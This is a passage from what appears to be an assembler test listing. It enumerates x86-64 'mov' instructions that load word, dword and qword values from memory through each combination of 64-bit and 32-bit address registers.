mov dx, word [r15]
mov dx, word [rsp]
mov dx, word [rsi]
mov dx, word [rbp]
mov di, word [rax]
mov di, word [rbx]
mov di, word [rcx]
mov di, word [rdx]
mov di, word [rdi]
mov di, word [r8]
mov di, word [r9]
mov di, word [r10]
mov di, word [r11]
mov di, word [r12]
mov di, word [r13]
mov di, word [r14]
mov di, word [r15]
mov di, word [rsp]
mov di, word [rsi]
mov di, word [rbp]
mov r8w, word [rax]
mov r8w, word [rbx]
mov r8w, word [rcx]
mov r8w, word [rdx]
mov r8w, word [rdi]
mov r8w, word [r8]
mov r8w, word [r9]
mov r8w, word [r10]
mov r8w, word [r11]
mov r8w, word [r12]
mov r8w, word [r13]
mov r8w, word [r14]
mov r8w, word [r15]
mov r8w, word [rsp]
mov r8w, word [rsi]
mov r8w, word [rbp]
mov r9w, word [rax]
mov r9w, word [rbx]
mov r9w, word [rcx]
mov r9w, word [rdx]
mov r9w, word [rdi]
mov r9w, word [r8]
mov r9w, word [r9]
mov r9w, word [r10]
mov r9w, word [r11]
mov r9w, word [r12]
mov r9w, word [r13]
mov r9w, word [r14]
mov r9w, word [r15]
mov r9w, word [rsp]
mov r9w, word [rsi]
mov r9w, word [rbp]
mov r10w, word [rax]
mov r10w, word [rbx]
mov r10w, word [rcx]
mov r10w, word [rdx]
mov r10w, word [rdi]
mov r10w, word [r8]
mov r10w, word [r9]
mov r10w, word [r10]
mov r10w, word [r11]
mov r10w, word [r12]
mov r10w, word [r13]
mov r10w, word [r14]
mov r10w, word [r15]
mov r10w, word [rsp]
mov r10w, word [rsi]
mov r10w, word [rbp]
mov r11w, word [rax]
mov r11w, word [rbx]
mov r11w, word [rcx]
mov r11w, word [rdx]
mov r11w, word [rdi]
mov r11w, word [r8]
mov r11w, word [r9]
mov r11w, word [r10]
mov r11w, word [r11]
mov r11w, word [r12]
mov r11w, word [r13]
mov r11w, word [r14]
mov r11w, word [r15]
mov r11w, word [rsp]
mov r11w, word [rsi]
mov r11w, word [rbp]
mov r12w, word [rax]
mov r12w, word [rbx]
mov r12w, word [rcx]
mov r12w, word [rdx]
mov r12w, word [rdi]
mov r12w, word [r8]
mov r12w, word [r9]
mov r12w, word [r10]
mov r12w, word [r11]
mov r12w, word [r12]
mov r12w, word [r13]
mov r12w, word [r14]
mov r12w, word [r15]
mov r12w, word [rsp]
mov r12w, word [rsi]
mov r12w, word [rbp]
mov r13w, word [rax]
mov r13w, word [rbx]
mov r13w, word [rcx]
mov r13w, word [rdx]
mov r13w, word [rdi]
mov r13w, word [r8]
mov r13w, word [r9]
mov r13w, word [r10]
mov r13w, word [r11]
mov r13w, word [r12]
mov r13w, word [r13]
mov r13w, word [r14]
mov r13w, word [r15]
mov r13w, word [rsp]
mov r13w, word [rsi]
mov r13w, word [rbp]
mov r14w, word [rax]
mov r14w, word [rbx]
mov r14w, word [rcx]
mov r14w, word [rdx]
mov r14w, word [rdi]
mov r14w, word [r8]
mov r14w, word [r9]
mov r14w, word [r10]
mov r14w, word [r11]
mov r14w, word [r12]
mov r14w, word [r13]
mov r14w, word [r14]
mov r14w, word [r15]
mov r14w, word [rsp]
mov r14w, word [rsi]
mov r14w, word [rbp]
mov r15w, word [rax]
mov r15w, word [rbx]
mov r15w, word [rcx]
mov r15w, word [rdx]
mov r15w, word [rdi]
mov r15w, word [r8]
mov r15w, word [r9]
mov r15w, word [r10]
mov r15w, word [r11]
mov r15w, word [r12]
mov r15w, word [r13]
mov r15w, word [r14]
mov r15w, word [r15]
mov r15w, word [rsp]
mov r15w, word [rsi]
mov r15w, word [rbp]
mov sp, word [rax]
mov sp, word [rbx]
mov sp, word [rcx]
mov sp, word [rdx]
mov sp, word [rdi]
mov sp, word [r8]
mov sp, word [r9]
mov sp, word [r10]
mov sp, word [r11]
mov sp, word [r12]
mov sp, word [r13]
mov sp, word [r14]
mov sp, word [r15]
mov sp, word [rsp]
mov sp, word [rsi]
mov sp, word [rbp]
mov si, word [rax]
mov si, word [rbx]
mov si, word [rcx]
mov si, word [rdx]
mov si, word [rdi]
mov si, word [r8]
mov si, word [r9]
mov si, word [r10]
mov si, word [r11]
mov si, word [r12]
mov si, word [r13]
mov si, word [r14]
mov si, word [r15]
mov si, word [rsp]
mov si, word [rsi]
mov si, word [rbp]
mov bp, word [rax]
mov bp, word [rbx]
mov bp, word [rcx]
mov bp, word [rdx]
mov bp, word [rdi]
mov bp, word [r8]
mov bp, word [r9]
mov bp, word [r10]
mov bp, word [r11]
mov bp, word [r12]
mov bp, word [r13]
mov bp, word [r14]
mov bp, word [r15]
mov bp, word [rsp]
mov bp, word [rsi]
mov bp, word [rbp]
mov ax, word [rdx+8*r15+0x7f]
mov ax, word [r9+8*rbp+0x7f]
mov ax, word [eax]
mov word [eax+0x2], ax
mov ax, word [ebx]
mov ax, word [ecx]
mov ax, word [edx]
mov ax, word [edi]
mov ax, word [r8d]
mov ax, word [r9d]
mov ax, word [r10d]
mov ax, word [r11d]
mov ax, word [r12d]
mov ax, word [r13d]
mov ax, word [r14d]
mov ax, word [r15d]
mov ax, word [esp]
mov ax, word [esi]
mov ax, word [ebp]
mov bx, word [eax]
mov bx, word [ebx]
mov bx, word [ecx]
mov bx, word [edx]
mov bx, word [edi]
mov bx, word [r8d]
mov bx, word [r9d]
mov bx, word [r10d]
mov bx, word [r11d]
mov bx, word [r12d]
mov bx, word [r13d]
mov bx, word [r14d]
mov bx, word [r15d]
mov bx, word [esp]
mov bx, word [esi]
mov bx, word [ebp]
mov cx, word [eax]
mov cx, word [ebx]
mov cx, word [ecx]
mov cx, word [edx]
mov cx, word [edi]
mov cx, word [r8d]
mov cx, word [r9d]
mov cx, word [r10d]
mov cx, word [r11d]
mov cx, word [r12d]
mov cx, word [r13d]
mov cx, word [r14d]
mov cx, word [r15d]
mov cx, word [esp]
mov cx, word [esi]
mov cx, word [ebp]
mov dx, word [eax]
mov dx, word [ebx]
mov dx, word [ecx]
mov dx, word [edx]
mov dx, word [edi]
mov dx, word [r8d]
mov dx, word [r9d]
mov dx, word [r10d]
mov dx, word [r11d]
mov dx, word [r12d]
mov dx, word [r13d]
mov dx, word [r14d]
mov dx, word [r15d]
mov dx, word [esp]
mov dx, word [esi]
mov dx, word [ebp]
mov di, word [eax]
mov di, word [ebx]
mov di, word [ecx]
mov di, word [edx]
mov di, word [edi]
mov di, word [r8d]
mov di, word [r9d]
mov di, word [r10d]
mov di, word [r11d]
mov di, word [r12d]
mov di, word [r13d]
mov di, word [r14d]
mov di, word [r15d]
mov di, word [esp]
mov di, word [esi]
mov di, word [ebp]
mov r8w, word [eax]
mov r8w, word [ebx]
mov r8w, word [ecx]
mov r8w, word [edx]
mov r8w, word [edi]
mov r8w, word [r8d]
mov r8w, word [r9d]
mov r8w, word [r10d]
mov r8w, word [r11d]
mov r8w, word [r12d]
mov r8w, word [r13d]
mov r8w, word [r14d]
mov r8w, word [r15d]
mov r8w, word [esp]
mov r8w, word [esi]
mov r8w, word [ebp]
mov r9w, word [eax]
mov r9w, word [ebx]
mov r9w, word [ecx]
mov r9w, word [edx]
mov r9w, word [edi]
mov r9w, word [r8d]
mov r9w, word [r9d]
mov r9w, word [r10d]
mov r9w, word [r11d]
mov r9w, word [r12d]
mov r9w, word [r13d]
mov r9w, word [r14d]
mov r9w, word [r15d]
mov r9w, word [esp]
mov r9w, word [esi]
mov r9w, word [ebp]
mov r10w, word [eax]
mov r10w, word [ebx]
mov r10w, word [ecx]
mov r10w, word [edx]
mov r10w, word [edi]
mov r10w, word [r8d]
mov r10w, word [r9d]
mov r10w, word [r10d]
mov r10w, word [r11d]
mov r10w, word [r12d]
mov r10w, word [r13d]
mov r10w, word [r14d]
mov r10w, word [r15d]
mov r10w, word [esp]
mov r10w, word [esi]
mov r10w, word [ebp]
mov r11w, word [eax]
mov r11w, word [ebx]
mov r11w, word [ecx]
mov r11w, word [edx]
mov r11w, word [edi]
mov r11w, word [r8d]
mov r11w, word [r9d]
mov r11w, word [r10d]
mov r11w, word [r11d]
mov r11w, word [r12d]
mov r11w, word [r13d]
mov r11w, word [r14d]
mov r11w, word [r15d]
mov r11w, word [esp]
mov r11w, word [esi]
mov r11w, word [ebp]
mov r12w, word [eax]
mov r12w, word [ebx]
mov r12w, word [ecx]
mov r12w, word [edx]
mov r12w, word [edi]
mov r12w, word [r8d]
mov r12w, word [r9d]
mov r12w, word [r10d]
mov r12w, word [r11d]
mov r12w, word [r12d]
mov r12w, word [r13d]
mov r12w, word [r14d]
mov r12w, word [r15d]
mov r12w, word [esp]
mov r12w, word [esi]
mov r12w, word [ebp]
mov r13w, word [eax]
mov r13w, word [ebx]
mov r13w, word [ecx]
mov r13w, word [edx]
mov r13w, word [edi]
mov r13w, word [r8d]
mov r13w, word [r9d]
mov r13w, word [r10d]
mov r13w, word [r11d]
mov r13w, word [r12d]
mov r13w, word [r13d]
mov r13w, word [r14d]
mov r13w, word [r15d]
mov r13w, word [esp]
mov r13w, word [esi]
mov r13w, word [ebp]
mov r14w, word [eax]
mov r14w, word [ebx]
mov r14w, word [ecx]
mov r14w, word [edx]
mov r14w, word [edi]
mov r14w, word [r8d]
mov r14w, word [r9d]
mov r14w, word [r10d]
mov r14w, word [r11d]
mov r14w, word [r12d]
mov r14w, word [r13d]
mov r14w, word [r14d]
mov r14w, word [r15d]
mov r14w, word [esp]
mov r14w, word [esi]
mov r14w, word [ebp]
mov r15w, word [eax]
mov r15w, word [ebx]
mov r15w, word [ecx]
mov r15w, word [edx]
mov r15w, word [edi]
mov r15w, word [r8d]
mov r15w, word [r9d]
mov r15w, word [r10d]
mov r15w, word [r11d]
mov r15w, word [r12d]
mov r15w, word [r13d]
mov r15w, word [r14d]
mov r15w, word [r15d]
mov r15w, word [esp]
mov r15w, word [esi]
mov r15w, word [ebp]
mov sp, word [eax]
mov sp, word [ebx]
mov sp, word [ecx]
mov sp, word [edx]
mov sp, word [edi]
mov sp, word [r8d]
mov sp, word [r9d]
mov sp, word [r10d]
mov sp, word [r11d]
mov sp, word [r12d]
mov sp, word [r13d]
mov sp, word [r14d]
mov sp, word [r15d]
mov sp, word [esp]
mov sp, word [esi]
mov sp, word [ebp]
mov si, word [eax]
mov si, word [ebx]
mov si, word [ecx]
mov si, word [edx]
mov si, word [edi]
mov si, word [r8d]
mov si, word [r9d]
mov si, word [r10d]
mov si, word [r11d]
mov si, word [r12d]
mov si, word [r13d]
mov si, word [r14d]
mov si, word [r15d]
mov si, word [esp]
mov si, word [esi]
mov si, word [ebp]
mov bp, word [eax]
mov bp, word [ebx]
mov bp, word [ecx]
mov bp, word [edx]
mov bp, word [edi]
mov bp, word [r8d]
mov bp, word [r9d]
mov bp, word [r10d]
mov bp, word [r11d]
mov bp, word [r12d]
mov bp, word [r13d]
mov bp, word [r14d]
mov bp, word [r15d]
mov bp, word [esp]
mov bp, word [esi]
mov bp, word [ebp]
mov bp, word [esi+r11d*2+0x89]
mov bp, word [ebp+r15d*4+0x89]
mov eax, dword [rax]
mov eax, dword [rbx]
mov eax, dword [rcx]
mov eax, dword [rdx]
mov eax, dword [rdi]
mov eax, dword [r8]
mov eax, dword [r9]
mov eax, dword [r10]
mov eax, dword [r11]
mov eax, dword [r12]
mov eax, dword [r13]
mov eax, dword [r14]
mov eax, dword [r15]
mov eax, dword [rsp]
mov eax, dword [rsi]
mov eax, dword [rbp]
mov ebx, dword [rax]
mov ebx, dword [rbx]
mov ebx, dword [rcx]
mov ebx, dword [rdx]
mov ebx, dword [rdi]
mov ebx, dword [r8]
mov ebx, dword [r9]
mov ebx, dword [r10]
mov ebx, dword [r11]
mov ebx, dword [r12]
mov ebx, dword [r13]
mov ebx, dword [r14]
mov ebx, dword [r15]
mov ebx, dword [rsp]
mov ebx, dword [rsi]
mov ebx, dword [rbp]
mov ecx, dword [rax]
mov ecx, dword [rbx]
mov ecx, dword [rcx]
mov ecx, dword [rdx]
mov ecx, dword [rdi]
mov ecx, dword [r8]
mov ecx, dword [r9]
mov ecx, dword [r10]
mov ecx, dword [r11]
mov ecx, dword [r12]
mov ecx, dword [r13]
mov ecx, dword [r14]
mov ecx, dword [r15]
mov ecx, dword [rsp]
mov ecx, dword [rsi]
mov ecx, dword [rbp]
mov edx, dword [rax]
mov edx, dword [rbx]
mov edx, dword [rcx]
mov edx, dword [rdx]
mov edx, dword [rdi]
mov edx, dword [r8]
mov edx, dword [r9]
mov edx, dword [r10]
mov edx, dword [r11]
mov edx, dword [r12]
mov edx, dword [r13]
mov edx, dword [r14]
mov edx, dword [r15]
mov edx, dword [rsp]
mov edx, dword [rsi]
mov edx, dword [rbp]
mov edi, dword [rax]
mov edi, dword [rbx]
mov edi, dword [rcx]
mov edi, dword [rdx]
mov edi, dword [rdi]
mov edi, dword [r8]
mov edi, dword [r9]
mov edi, dword [r10]
mov edi, dword [r11]
mov edi, dword [r12]
mov edi, dword [r13]
mov edi, dword [r14]
mov edi, dword [r15]
mov edi, dword [rsp]
mov edi, dword [rsi]
mov edi, dword [rbp]
mov r8d, dword [rax]
mov r8d, dword [rbx]
mov r8d, dword [rcx]
mov r8d, dword [rdx]
mov r8d, dword [rdi]
mov r8d, dword [r8]
mov r8d, dword [r9]
mov r8d, dword [r10]
mov r8d, dword [r11]
mov r8d, dword [r12]
mov r8d, dword [r13]
mov r8d, dword [r14]
mov r8d, dword [r15]
mov r8d, dword [rsp]
mov r8d, dword [rsi]
mov r8d, dword [rbp]
mov r9d, dword [rax]
mov r9d, dword [rbx]
mov r9d, dword [rcx]
mov r9d, dword [rdx]
mov r9d, dword [rdi]
mov r9d, dword [r8]
mov r9d, dword [r9]
mov r9d, dword [r10]
mov r9d, dword [r11]
mov r9d, dword [r12]
mov r9d, dword [r13]
mov r9d, dword [r14]
mov r9d, dword [r15]
mov r9d, dword [rsp]
mov r9d, dword [rsi]
mov r9d, dword [rbp]
mov r10d, dword [rax]
mov r10d, dword [rbx]
mov r10d, dword [rcx]
mov r10d, dword [rdx]
mov r10d, dword [rdi]
mov r10d, dword [r8]
mov r10d, dword [r9]
mov r10d, dword [r10]
mov r10d, dword [r11]
mov r10d, dword [r12]
mov r10d, dword [r13]
mov r10d, dword [r14]
mov r10d, dword [r15]
mov r10d, dword [rsp]
mov r10d, dword [rsi]
mov r10d, dword [rbp]
mov r11d, dword [rax]
mov r11d, dword [rbx]
mov r11d, dword [rcx]
mov r11d, dword [rdx]
mov r11d, dword [rdi]
mov r11d, dword [r8]
mov r11d, dword [r9]
mov r11d, dword [r10]
mov r11d, dword [r11]
mov r11d, dword [r12]
mov r11d, dword [r13]
mov r11d, dword [r14]
mov r11d, dword [r15]
mov r11d, dword [rsp]
mov r11d, dword [rsi]
mov r11d, dword [rbp]
mov r12d, dword [rax]
mov r12d, dword [rbx]
mov r12d, dword [rcx]
mov r12d, dword [rdx]
mov r12d, dword [rdi]
mov r12d, dword [r8]
mov r12d, dword [r9]
mov r12d, dword [r10]
mov r12d, dword [r11]
mov r12d, dword [r12]
mov r12d, dword [r13]
mov r12d, dword [r14]
mov r12d, dword [r15]
mov r12d, dword [rsp]
mov r12d, dword [rsi]
mov r12d, dword [rbp]
mov r13d, dword [rax]
mov r13d, dword [rbx]
mov r13d, dword [rcx]
mov r13d, dword [rdx]
mov r13d, dword [rdi]
mov r13d, dword [r8]
mov r13d, dword [r9]
mov r13d, dword [r10]
mov r13d, dword [r11]
mov r13d, dword [r12]
mov r13d, dword [r13]
mov r13d, dword [r14]
mov r13d, dword [r15]
mov r13d, dword [rsp]
mov r13d, dword [rsi]
mov r13d, dword [rbp]
mov r14d, dword [rax]
mov r14d, dword [rbx]
mov r14d, dword [rcx]
mov r14d, dword [rdx]
mov r14d, dword [rdi]
mov r14d, dword [r8]
mov r14d, dword [r9]
mov r14d, dword [r10]
mov r14d, dword [r11]
mov r14d, dword [r12]
mov r14d, dword [r13]
mov r14d, dword [r14]
mov r14d, dword [r15]
mov r14d, dword [rsp]
mov r14d, dword [rsi]
mov r14d, dword [rbp]
mov r15d, dword [rax]
mov r15d, dword [rbx]
mov r15d, dword [rcx]
mov r15d, dword [rdx]
mov r15d, dword [rdi]
mov r15d, dword [r8]
mov r15d, dword [r9]
mov r15d, dword [r10]
mov r15d, dword [r11]
mov r15d, dword [r12]
mov r15d, dword [r13]
mov r15d, dword [r14]
mov r15d, dword [r15]
mov r15d, dword [rsp]
mov r15d, dword [rsi]
mov r15d, dword [rbp]
mov esp, dword [rax]
mov esp, dword [rbx]
mov esp, dword [rcx]
mov esp, dword [rdx]
mov esp, dword [rdi]
mov esp, dword [r8]
mov esp, dword [r9]
mov esp, dword [r10]
mov esp, dword [r11]
mov esp, dword [r12]
mov esp, dword [r13]
mov esp, dword [r14]
mov esp, dword [r15]
mov esp, dword [rsp]
mov esp, dword [rsi]
mov esp, dword [rbp]
mov esi, dword [rax]
mov esi, dword [rbx]
mov esi, dword [rcx]
mov esi, dword [rdx]
mov esi, dword [rdi]
mov esi, dword [r8]
mov esi, dword [r9]
mov esi, dword [r10]
mov esi, dword [r11]
mov esi, dword [r12]
mov esi, dword [r13]
mov esi, dword [r14]
mov esi, dword [r15]
mov esi, dword [rsp]
mov esi, dword [rsi]
mov esi, dword [rbp]
mov ebp, dword [rax]
mov ebp, dword [rbx]
mov ebp, dword [rcx]
mov ebp, dword [rdx]
mov ebp, dword [rdi]
mov ebp, dword [r8]
mov ebp, dword [r9]
mov ebp, dword [r10]
mov ebp, dword [r11]
mov ebp, dword [r12]
mov ebp, dword [r13]
mov ebp, dword [r14]
mov ebp, dword [r15]
mov ebp, dword [rsp]
mov ebp, dword [rsi]
mov ebp, dword [rbp]
mov eax, dword [eax]
mov eax, dword [ebx]
mov eax, dword [ecx]
mov eax, dword [edx]
mov eax, dword [edi]
mov eax, dword [r8d]
mov eax, dword [r9d]
mov eax, dword [r10d]
mov eax, dword [r11d]
mov eax, dword [r12d]
mov eax, dword [r13d]
mov eax, dword [r14d]
mov eax, dword [r15d]
mov eax, dword [esp]
mov eax, dword [esi]
mov eax, dword [ebp]
mov ebx, dword [eax]
mov ebx, dword [ebx]
mov ebx, dword [ecx]
mov ebx, dword [edx]
mov ebx, dword [edi]
mov ebx, dword [r8d]
mov ebx, dword [r9d]
mov ebx, dword [r10d]
mov ebx, dword [r11d]
mov ebx, dword [r12d]
mov ebx, dword [r13d]
mov ebx, dword [r14d]
mov ebx, dword [r15d]
mov ebx, dword [esp]
mov ebx, dword [esi]
mov ebx, dword [ebp]
mov ecx, dword [eax]
mov ecx, dword [ebx]
mov ecx, dword [ecx]
mov ecx, dword [edx]
mov ecx, dword [edi]
mov ecx, dword [r8d]
mov ecx, dword [r9d]
mov ecx, dword [r10d]
mov ecx, dword [r11d]
mov ecx, dword [r12d]
mov ecx, dword [r13d]
mov ecx, dword [r14d]
mov ecx, dword [r15d]
mov ecx, dword [esp]
mov ecx, dword [esi]
mov ecx, dword [ebp]
mov edx, dword [eax]
mov edx, dword [ebx]
mov edx, dword [ecx]
mov edx, dword [edx]
mov edx, dword [edi]
mov edx, dword [r8d]
mov edx, dword [r9d]
mov edx, dword [r10d]
mov edx, dword [r11d]
mov edx, dword [r12d]
mov edx, dword [r13d]
mov edx, dword [r14d]
mov edx, dword [r15d]
mov edx, dword [esp]
mov edx, dword [esi]
mov edx, dword [ebp]
mov edi, dword [eax]
mov edi, dword [ebx]
mov edi, dword [ecx]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [r8d]
mov edi, dword [r9d]
mov edi, dword [r10d]
mov edi, dword [r11d]
mov edi, dword [r12d]
mov edi, dword [r13d]
mov edi, dword [r14d]
mov edi, dword [r15d]
mov edi, dword [esp]
mov edi, dword [esi]
mov edi, dword [ebp]
mov r8d, dword [eax]
mov r8d, dword [ebx]
mov r8d, dword [ecx]
mov r8d, dword [edx]
mov r8d, dword [edi]
mov r8d, dword [r8d]
mov r8d, dword [r9d]
mov r8d, dword [r10d]
mov r8d, dword [r11d]
mov r8d, dword [r12d]
mov r8d, dword [r13d]
mov r8d, dword [r14d]
mov r8d, dword [r15d]
mov r8d, dword [esp]
mov r8d, dword [esi]
mov r8d, dword [ebp]
mov r9d, dword [eax]
mov r9d, dword [ebx]
mov r9d, dword [ecx]
mov r9d, dword [edx]
mov r9d, dword [edi]
mov r9d, dword [r8d]
mov r9d, dword [r9d]
mov r9d, dword [r10d]
mov r9d, dword [r11d]
mov r9d, dword [r12d]
mov r9d, dword [r13d]
mov r9d, dword [r14d]
mov r9d, dword [r15d]
mov r9d, dword [esp]
mov r9d, dword [esi]
mov r9d, dword [ebp]
mov r10d, dword [eax]
mov r10d, dword [ebx]
mov r10d, dword [ecx]
mov r10d, dword [edx]
mov r10d, dword [edi]
mov r10d, dword [r8d]
mov r10d, dword [r9d]
mov r10d, dword [r10d]
mov r10d, dword [r11d]
mov r10d, dword [r12d]
mov r10d, dword [r13d]
mov r10d, dword [r14d]
mov r10d, dword [r15d]
mov r10d, dword [esp]
mov r10d, dword [esi]
mov r10d, dword [ebp]
mov r11d, dword [eax]
mov r11d, dword [ebx]
mov r11d, dword [ecx]
mov r11d, dword [edx]
mov r11d, dword [edi]
mov r11d, dword [r8d]
mov r11d, dword [r9d]
mov r11d, dword [r10d]
mov r11d, dword [r11d]
mov r11d, dword [r12d]
mov r11d, dword [r13d]
mov r11d, dword [r14d]
mov r11d, dword [r15d]
mov r11d, dword [esp]
mov r11d, dword [esi]
mov r11d, dword [ebp]
mov r12d, dword [eax]
mov r12d, dword [ebx]
mov r12d, dword [ecx]
mov r12d, dword [edx]
mov r12d, dword [edi]
mov r12d, dword [r8d]
mov r12d, dword [r9d]
mov r12d, dword [r10d]
mov r12d, dword [r11d]
mov r12d, dword [r12d]
mov r12d, dword [r13d]
mov r12d, dword [r14d]
mov r12d, dword [r15d]
mov r12d, dword [esp]
mov r12d, dword [esi]
mov r12d, dword [ebp]
mov r13d, dword [eax]
mov r13d, dword [ebx]
mov r13d, dword [ecx]
mov r13d, dword [edx]
mov r13d, dword [edi]
mov r13d, dword [r8d]
mov r13d, dword [r9d]
mov r13d, dword [r10d]
mov r13d, dword [r11d]
mov r13d, dword [r12d]
mov r13d, dword [r13d]
mov r13d, dword [r14d]
mov r13d, dword [r15d]
mov r13d, dword [esp]
mov r13d, dword [esi]
mov r13d, dword [ebp]
mov r14d, dword [eax]
mov r14d, dword [ebx]
mov r14d, dword [ecx]
mov r14d, dword [edx]
mov r14d, dword [edi]
mov r14d, dword [r8d]
mov r14d, dword [r9d]
mov r14d, dword [r10d]
mov r14d, dword [r11d]
mov r14d, dword [r12d]
mov r14d, dword [r13d]
mov r14d, dword [r14d]
mov r14d, dword [r15d]
mov r14d, dword [esp]
mov r14d, dword [esi]
mov r14d, dword [ebp]
mov r15d, dword [eax]
mov r15d, dword [ebx]
mov r15d, dword [ecx]
mov r15d, dword [edx]
mov r15d, dword [edi]
mov r15d, dword [r8d]
mov r15d, dword [r9d]
mov r15d, dword [r10d]
mov r15d, dword [r11d]
mov r15d, dword [r12d]
mov r15d, dword [r13d]
mov r15d, dword [r14d]
mov r15d, dword [r15d]
mov r15d, dword [esp]
mov r15d, dword [esi]
mov r15d, dword [ebp]
mov esp, dword [eax]
mov esp, dword [ebx]
mov esp, dword [ecx]
mov esp, dword [edx]
mov esp, dword [edi]
mov esp, dword [r8d]
mov esp, dword [r9d]
mov esp, dword [r10d]
mov esp, dword [r11d]
mov esp, dword [r12d]
mov esp, dword [r13d]
mov esp, dword [r14d]
mov esp, dword [r15d]
mov esp, dword [esp]
mov esp, dword [esi]
mov esp, dword [ebp]
mov esi, dword [eax]
mov esi, dword [ebx]
mov esi, dword [ecx]
mov esi, dword [edx]
mov esi, dword [edi]
mov esi, dword [r8d]
mov esi, dword [r9d]
mov esi, dword [r10d]
mov esi, dword [r11d]
mov esi, dword [r12d]
mov esi, dword [r13d]
mov esi, dword [r14d]
mov esi, dword [r15d]
mov esi, dword [esp]
mov esi, dword [esi]
mov esi, dword [ebp]
mov ebp, dword [eax]
mov ebp, dword [ebx]
mov ebp, dword [ecx]
mov ebp, dword [edx]
mov ebp, dword [edi]
mov ebp, dword [r8d]
mov ebp, dword [r9d]
mov ebp, dword [r10d]
mov ebp, dword [r11d]
mov ebp, dword [r12d]
mov ebp, dword [r13d]
mov ebp, dword [r14d]
mov ebp, dword [r15d]
mov ebp, dword [esp]
mov ebp, dword [esi]
mov ebp, dword [ebp]
mov rax, qword [rax]
mov rax, qword [rbx]
mov rax, qword [rcx]
mov rax, qword [rdx]
mov rax, qword [rdi]
mov rax, qword [r8]
mov rax, qword [r9]
mov rax, qword [r10]
mov rax, qword [r11]
mov rax, qword [r12]
mov rax, qword [r13]
mov rax, qword [r14]
mov rax, qword [r15]
mov rax, qword [rsp]
mov rax, qword [rsi]
mov rax, qword [rbp]
mov rbx, qword [rax]
mov rbx, qword [rbx]
mov rbx, qword [rcx]
mov rbx, qword [rdx]
mov rbx, qword [rdi]
mov rbx, qword [r8]
mov rbx, qword [r9]
mov rbx, qword [r10]
mov rbx, qword [r11]
mov rbx, qword [r12]
mov rbx, qword [r13]
mov rbx, qword [r14]
mov rbx, qword [r15]
mov rbx, qword [rsp]
mov rbx, qword [rsi]
mov rbx, qword [rbp]
mov rcx, qword [rax]
mov rcx, qword [rbx]
mov rcx, qword [rcx]
mov rcx, qword [rdx]
mov rcx, qword [rdi]
mov rcx, qword [r8]
mov rcx, qword [r9]
mov rcx, qword [r10]
mov rcx, qword [r11]
mov rcx, qword [r12]
mov rcx, qword [r13]
mov rcx, qword [r14]
mov rcx, qword [r15]
mov rcx, qword [rsp]
mov rcx, qword [rsi]
mov rcx, qword [rbp]
mov rdx, qword [rax]
mov rdx, qword [rbx]
mov rdx, qword [rcx]
mov rdx, qword [rdx]
mov rdx, qword [rdi]
mov rdx, qword [r8]
mov rdx, qword [r9]
mov rdx, qword [r10]
mov rdx, qword [r11]
mov rdx, qword [r12]
mov rdx, qword [r13]
mov rdx, qword [r14]
mov rdx, qword [r15]
mov rdx, qword [rsp]
mov rdx, qword [rsi]
mov rdx, qword [rbp]
mov rdi, qword [rax]
mov rdi, qword [rbx]
mov rdi, qword [rcx]
mov rdi, qword [rdx]
mov rdi, qword [rdi]
mov rdi, qword [r8]
mov rdi, qword [r9]
mov rdi, qword [r10]
mov rdi, qword [r11]
mov rdi, qword [r12]
mov rdi, qword [r13]
mov rdi, qword [r14]
mov rdi, qword [r15]
mov rdi, qword [rsp]
mov rdi, qword [rsi]
mov rdi, qword [rbp]
mov r8, qword [rax]
mov r8, qword [rbx]
mov r8, qword [rcx]
mov r8, qword [rdx]
mov r8, qword [rdi]
mov r8, qword [r8]
mov r8, qword [r9]
mov r8, qword [r10]
mov r8, qword [r11]
mov r8, qword [r12]
mov r8, qword [r13]
mov r8, qword [r14]
mov r8, qword [r15]
mov r8, qword [rsp]
mov r8, qword [rsi]
mov r8, qword [rbp]
mov r9, qword [rax]
mov r9, qword [rbx]
mov r9, qword [rcx]
mov r9, qword [rdx]
mov r9, qword [rdi]
mov r9, qword [r8]
mov r9, qword [r9]
mov r9, qword [r10]
mov r9, qword [r11]
mov r9, qword [r12]
mov r9, qword [r13]
mov r9, qword [r14]
mov r9, qword [r15]
mov r9, qword [rsp]
mov r9, qword [rsi]
mov r9, qword [rbp]
mov r10, qword [rax]
mov r10, qword [rbx]
mov r10, qword [rcx]
mov r10, qword [rdx]
mov r10, qword [rdi]
mov r10, qword [r8]
mov r10, qword [r9]
mov r10, qword [r10]
mov r10, qword [r11]
mov r10, qword [r12]
mov r10, qword [r13]
mov r10, qword [r14]
mov r10, qword [r15]
mov r10, qword [rsp]
mov r10, qword [rsi]
mov r10, qword [rbp]
mov r11, qword [rax]
mov r11, qword [rbx]
mov r11, qword [rcx]
mov r11, qword [rdx]
mov r11, qword [rdi]
mov r11, qword [r8]
mov r11, qword [r9]
mov r11, qword [r10]
mov r11, qword [r11]
mov r11, qword [r12]
mov r11, qword [r13]
mov r11, qword [r14]
mov r11, qword [r15]
mov r11, qword [rsp]
mov r11, qword [rsi]
mov r11, qword [rbp]
mov r12, qword [rax]
mov r12, qword [rbx]
mov r12, qword [rcx]
mov r12, qword [rdx]
mov r12, qword [rdi]
mov r12, qword [r8]
mov r12, qword [r9]
mov r12, qword [r10]
mov r12, qword [r11]
mov r12, qword [r12]
mov r12, qword [r13]
mov r12, qword [r14]
mov r12, qword [r15]
mov r12, qword [rsp]
mov r12, qword [rsi]
mov r12, qword [rbp]
mov r13, qword [rax]
mov r13, qword [rbx]
mov r13, qword [rcx]
mov r13, qword [rdx]
mov r13, qword [rdi]
mov r13, qword [r8]
mov r13, qword [r9]
mov r13, qword [r10]
mov r13, qword [r11]
mov r13, qword [r12]
mov r13, qword [r13]
mov r13, qword [r14]
mov r13, qword [r15]
mov r13, qword [rsp]
mov r13, qword [rsi]
mov r13, qword [rbp]
mov r14, qword [rax]
mov r14, qword [rbx]
mov r14, qword [rcx]
mov r14, qword [rdx]
mov r14, qword [rdi]
mov r14, qword [r8]
mov r14, qword [r9]
mov r14, qword [r10]
mov r14, qword [r11]
mov r14, qword [r12]
mov r14, qword [r13]
mov r14, qword [r14]
mov r14, qword [r15]
mov r14, qword [rsp]
mov r14, qword [rsi]
mov r14, qword [rbp]
mov r15, qword [rax]
mov r15, qword [rbx]
mov r15, qword [rcx]
mov r15, qword [rdx]
mov r15, qword [rdi]
mov r15, qword [r8]
mov r15, qword [r9]
mov r15, qword [r10]
mov r15, qword [r11]
mov r15, qword [r12]
mov r15, qword [r13]
mov r15, qword [r14]
mov r15, qword [r15]
mov r15, qword [rsp]
mov r15, qword [rsi]
mov r15, qword [rbp]
mov rsp, qword [rax]
mov rsp, qword [rbx]
